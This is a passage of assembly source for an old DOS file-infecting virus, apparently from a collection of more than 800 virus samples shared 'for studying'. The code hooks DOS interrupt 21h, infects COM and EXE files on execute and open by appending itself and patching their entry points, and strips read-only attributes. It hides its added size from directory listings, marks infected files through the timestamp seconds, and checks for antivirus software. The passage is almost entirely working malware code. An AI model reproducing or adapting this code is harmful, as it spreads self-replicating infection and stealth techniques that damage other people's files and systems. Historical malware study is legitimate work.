npox-v20.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

                jnz     old_out                 ;nope                      
                push    ax                                                 
                push    bx                                                 
                push    es                                                 
                mov     ah,51h                  ;get PSP                   
                int     21h                                                
                mov     es,bx                   ;                          
                cmp     bx,es:[16h]             ;                          
                jnz     not_infected                                       
                mov     bx,dx                                              
                mov     al,[bx]                                            
                push    ax                                                 
                mov     ah,2fh                                             
                int     21h                                                
                pop     ax                                                 
                inc     al                       ;Extended FCB?            
                jnz     fcb_okay                                           
                add     bx,7h                                              
fcb_okay:       mov     ax,es:[bx+17h]                                     
                and     ax,1fh                                             
                cmp     al,1eh                                             
                jnz     not_infected                                       
                and     byte ptr es:[bx+17h],0e0h       ;fix secs          
                sub     word ptr es:[bx+1dh],virus_size                    
                sbb     word ptr es:[bx+1fh],0                             
not_infected:   pop     es                                                 
                pop     bx                                                 
                pop     ax                                                 
old_out:        iret                                                       
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
;                       Int 21 Handler                                     
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
int21_handler:  cmp     ah,11h                                             
                je      old_dir                                            
                cmp     ah,12h                                             
                je      old_dir                                            
                cmp     ax,4b00h                ;File executed             
                je      dis_infect                                         
                cmp     ah,3dh                                             
                je      check_file                                         
                cmp     ah,3eh                                             
                je      check_file2                                        
                cmp     ax,0abcdh               ;Virus testing             
                jne     int21call                                          
                mov     bx,0abcdh                                          
int21call:      jmp     dword ptr cs:[int21]    ;Split...                  
                                                                           
check_file:     jmp     opening_file            ;Like a Charm              
check_file2:    jmp     closing_file                                       
dis_infect:     call    disinfect               ;EXE & COM okay            
dont_disinfect: push    dx                                                 
                pushf                                                      
                push    cs                                                 
                call    int21call                                          
                pop     dx                                                 
                                                                           
execute:        push    ax                                                 
                push    bx                                                 
                push    cx                                                 
                push    dx                                                 
                push    ds                                                 
                                                                           
                push    ax                                                 
                push    bx                                                 
                push    cx                                                 
                push    dx                                                 
                push    ds                                                 
                push    bp                                                 
                push    cs                                                 
                pop     ds                                                 
                mov     dx,offset command                                  
                mov     bp,0abcdh                                          
                jmp     command1                                           
command_ret:    pop     bp                                                 
                pop     ds                                                 
                pop     dx                                                 
                pop     cx                                                 
                pop     bx                                                 
                pop     ax                                                 
                call    check_4_av                                         
                jc      exit1                                              
command1:       mov     ax,4300h                ;Get file Attribs          
                call    calldos21                                          
                jc      exit1                                              
                test    cl,1h                   ;Make sure there normal    
                jz      open_file               ;Okay there are            
                and     cl,0feh                 ;Nope, Fix them...         
                mov     ax,4301h                ;Save them now             
                call    calldos21                                          
                jc      exit                                               
open_file:      mov     ax,3D02h                                           
                call    calldos21                                          
exit1:          jc      exit                                               
                mov     bx,ax                   ;BX File handler           
                mov     ax,5700h                ;Get file TIME + DATE      
                Call    calldos21                                          
                mov     al,cl                                              
                or      cl,1fh                  ;Un mask Seconds           
                dec     cx                      ;60 seconds                
                xor     al,cl                   ;Is it 60 seconds?         
                jz      exit                    ;File already infected     
                push    cs                                                 
                pop     ds                                                 
                mov     word ptr ds:[old_time],cx       ;Save Time         
                mov     word ptr ds:[old_date],dx       ;Save Date         
                mov     ah,3Fh                                             
                mov     cx,1Bh                          ;Read first 1B     
                mov     dx,offset ds:[buffer]           ;into our Buffer   
                call    calldos21                                          
                jc      exit_now                        ;Error Split       
                mov     ax,4202h                        ;Move file pointer 
                xor     cx,cx                           ;to EOF File       
                xor     dx,dx                                              
                call    calldos21                                          
                jc      exit_now                        ;Error Split       
                cmp     word ptr ds:[buffer],5A4Dh      ;Is file an EXE?   
                je      exe_infect                      ;Infect EXE file   
                mov     cx,ax                                              
                sub     cx,3                            ;Set the JMP       
                mov     word ptr ds:[jump_address+1],cx                    
                call    infect_me                       ;Infect!           
                jc      exit                                               
                mov     ah,40h                          ;Write back the    
                mov     dx,offset jump_address                             
                mov     cx,3h                                              
                call    calldos21                                          
exit_now:                                                                  
                mov     cx,word ptr ds:[old_time]       ;Restore old time  
                mov     dx,word ptr ds:[old_date]       ;Restore Old date  
                mov  ax,5701h                                              
                call    calldos21                                          
                mov     ah,3Eh                                             
                call    calldos21                                          
exit:           cmp     bp,0abcdh                                          
                je      command2                                           
                pop     ds                                                 
                pop     dx                                                 
                pop     cx                                                 
                pop     bx                                                 
                pop     ax                                                 
                iret                                                       
command2:       jmp     command_ret                                        
                                                                           
exe_infect:     mov     cx,word ptr cs:[buffer+20]                         
                mov     word ptr cs:[exe_ip],cx                            
                mov     cx,word ptr cs:[buffer+22]                         
                mov     word ptr cs:[exe_cs],cx                            
                mov     cx,word ptr cs:[buffer+16]                         
                mov     word ptr cs:[exe_sp],cx                            
                mov     cx,word ptr cs:[buffer+14]                         
                mov     word ptr cs:[exe_ss],cx                            
                push    ax                                                 
                push    dx                                                 
                call    multiply                                           
                sub     dx,word ptr cs:[buffer+8]                          
                mov     word ptr cs:[vir_cs],dx                            
                push    ax                                                 
                push    dx                                                 
                call    infect_me                                          
                pop     dx                                                 
                pop     ax                                                 
                mov     word ptr cs:[buffer+22],dx                         
                mov     word ptr cs:[buffer+20],ax                         
                pop     dx                                                 
                pop     ax                                                 
                jc      exit                                               
                add     ax,virus_size                                      
                adc     dx,0                                               
                push    ax                                                 
                push    dx                                                 
                call    multiply